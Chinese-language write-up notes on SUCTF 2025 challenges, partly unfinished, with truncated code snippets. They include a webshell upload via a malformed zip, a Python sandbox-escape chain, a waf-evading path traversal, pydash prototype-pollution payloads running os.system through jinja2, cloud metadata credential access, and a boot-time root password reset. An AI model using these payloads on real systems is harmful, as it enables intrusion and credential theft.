25suctf
Suctf2025
–2标识为看的wp,没环境复现了
所有参考资料将在文本末尾标明
WEB
SU_photogallery
思路👇
构造一个压缩包,解压出我们想解压的部分,然后其他部分是损坏的,这样是不是就可以让整个解压过程是出错的从而进入到if里,我们的shell就这样留下了
先是php版本的漏洞
再根据源码漏洞上码
三种写码方法如下👇
法一
1 | <?php |
配上
1 | GET /upload/suimages/a.jpg?1=cat%20/seef1ag_getfl4g HTTP/1.1 |
法二
1 | import zipfile |
法三
1 | 手动改压缩包,塞入第二个文件的第二个名字换成///// |
部分原因复现可能失败,我用火狐浏览器复现失败,换的Google成功
easyk8s
读取文件
1 | # 打开文件并读取内容 |
读取目录
1 | import os |
查找与其他网络关系
1 | 那就探测内网信息,读取下系统内的配置文件信息看是否能发现有用的信息,包含:/etc/hosts、/proc/net/arp、proc/net/fib_trie等,最终在proc/net/fib_trie发现一个 |
码也写不进去,shell出不来
1 | import os |
1 | ''.__class__.__mro__ [1].__subclasses__()[157].__init__.__globals__['sys'].modules['os'] |
–2
弹shell
1 | import os |
1 | DEBUG=True # open debug |
后边操作看不懂了,是nfs的
easyk8s-easy
–2
访问元数据
1 | import requests |
访问oss,以下命令在攻击者机器上执行
1 | aliyun configure --mode=StsToken |
SU_blog
有文件包含,没使用权限,不是php,放弃
有cve,bootstrap的CVE-2024-6531,没找到poc
有提示
1 | © 2025 My Blog. All rights reserved. 我最喜欢时间戳了,而且听说md5这种单项签名非常安全,所以我把博客诞生的时间当做了自己的SECRET |
应该是身份伪造
–复现
先按照提示伪造身份
显示文件包含读取源码+waf,
读取waf用../间隔开用来
1 | ?file=articles/....//....//app/wa../f.py |
然后pydash原型链污染
污染点
1 | app.py的set_(user_data, key, value) |
https://furina.org.cn/2023/12/18/prototype-pollution-in-pydash-ctf/
jinja2模板
1 | {"name":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0","value":"*;import os;os.system('id')"} |
根据waf修改完之后
1 | {"key": ".__init__.__globals__.t.NamedTuple.__globals__.sys.modules.jinja2.runtime.exported[2]","value": "*;import os;os.system('/read* >/tmp/gaoren.txt')"} |
jBOSS
CVE-2017-12149检测
- /invoker/readonly
CVE-2017-7504检测
- /jbossmq-httpil/HTTPServerILServlet
密码
SU_signin
1 | p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab |
MISC
SU_forensics
Ubuntu14.04密码恢复
- 进入界面长按shift
- 高级选项
- revovery mode
- ro后边的改成quiet splash rw init=/bin/bash
- 倒数第四行,会看到一行Linux /boot/vmlnuz-4.2.0-27-generic …….ro recovery nomodeset,
- quiet splash rw init=/bin/bash
- f10启动
- passwd修改密码
- 然后passwd bkfish修改bkfish密码
- 最后visudo里加上去
- bkfish ALL=(ALL:ALL) ALL
这里面有个加密压缩包文件👇
1 | https://github.com/testtttsu/homework/blob/a4be9c81ae540340f3e208dc9b1ee109ea50305c/lost_flag.txt |
参考
1 | https://blog.csdn.net/lcczzu/article/details/100148616 |
进程查看
1 | lsof | grep deleted |
恢复文件
.bash_history
- 每当你在终端中执行一个命令时,
bash
会将该命令记录到.bash_history
文件中 - 位于用户的 主目录 中,如
/home/username/.bash_history
内容
1 | echo "My secret has disappeared from this space and time, and you will never be able to find it." |
去搜索网站是一张图片,里面有加黑的key,需要调图片拿key
- 2phxMo8iUE2bAVvdsBwZ
根据图片的网站进去有个脚本+压缩包文件源码
图片一堆奇怪文字,真成misc了,不做了
法一
法二
strings开搜sudo reboot
1 | strings xxx。vmdk |grep -n -A 20 -B 20 "sudo reboot" |
找到bash_history
法三
1 | sudo grep -a -B 50 -A 50 'sudo reboot' /dev/sda1 | tr -cd '\11\12\15\40-\176' > result.txt |
虽然看起来我们的命令记录完全消失了,实际上如果运气比较好,对应的内容没有被覆盖,磁盘里可能还保留了.bash_history的文件内容,首先用df -h查看一下磁盘分区
命令的意思大概是用 grep
从 /dev/sda1
中查找包含 sudo reboot
的行,并显示其上下 50 行的内容,然后通过 tr
过滤掉除 ASCII 可打印字符、空白符和换行符/回车符以外的所有字符,清理输出内容。最后,将处理后的内容保存到 result.txt
文件中。
法四
real_checkin
1 | 🐍☂️🐈🌮🍟分别对应以下: |
SU_ad
1 | https://jk64eb0pjs.feishu.cn/docx/O6OUd1iSro8XcpxlpDAc0si5n5e |
1 | https://kcno7cq8euks.feishu.cn/wiki/PKx0w2LrtiVo99k3tEDc0xBnnre |
checkin
直接搜flag追踪
PBEWithMD5AndDES,密码长度为 23 位
爆破脚本
1 | from Crypto.Util.number import * |
参考
1 | https://mp.weixin.qq.com/s/WAtpKN7lMzzr0pGUX07juA |
1 | https://mp.weixin.qq.com/s/sLE42aWH1FyYUiC3H9TwiA |
1 | https://jk64eb0pjs.feishu.cn/docx/O6OUd1iSro8XcpxlpDAc0si5n5e |
1 | https://blog.s1um4i.com/2025-SUCTF/#su_pwn |
1 | https://blog.0xfff.team/posts/suctf_2025_writeup/#su_photogallery |
1 | https://github.com/team-su/SUCTF-2025/tree/main/web/SU_photogallery/writeup |